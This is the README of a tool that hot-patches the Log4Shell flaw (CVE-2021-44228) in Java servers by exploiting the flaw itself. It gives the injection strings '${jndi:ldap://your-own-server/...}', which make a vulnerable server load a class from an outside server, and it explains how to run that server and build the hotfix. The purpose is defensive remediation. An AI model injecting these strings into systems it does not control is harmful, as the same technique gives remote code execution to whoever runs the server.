cve-2021-44228-qingteng-online-patch

¿Qué es esto?

Parche en caliente CVE-2021-44228 explotando la propia vulnerabilidad.

Cómo usar

Inyecta el siguiente código en cualquier lugar probablemente vulnerable a CVE-2021-44228,

${jndi:ldap://your-own-server/patch}

Para prevenir el ataque MITM durante el proceso de parcheo, se recomienda el siguiente payload, pero con menor compatibilidad para versiones antiguas de Java,

${jndi:ldap://your-own-server/any_string_except_patch}

Ejecuta tu propio servidor

1. Descarga las últimas versiones

2. Especifica las variables de entorno del sistema LOG4J_HOTFIX_HTTP_PATH y LOG4J_HOTFIX_HTTPS_PATH si deseas alojar Hotfix.class en tu propio servidor

Compilar

Ten en cuenta que Hotfix.java debe compilarse con JDK6 para máxima compatibilidad.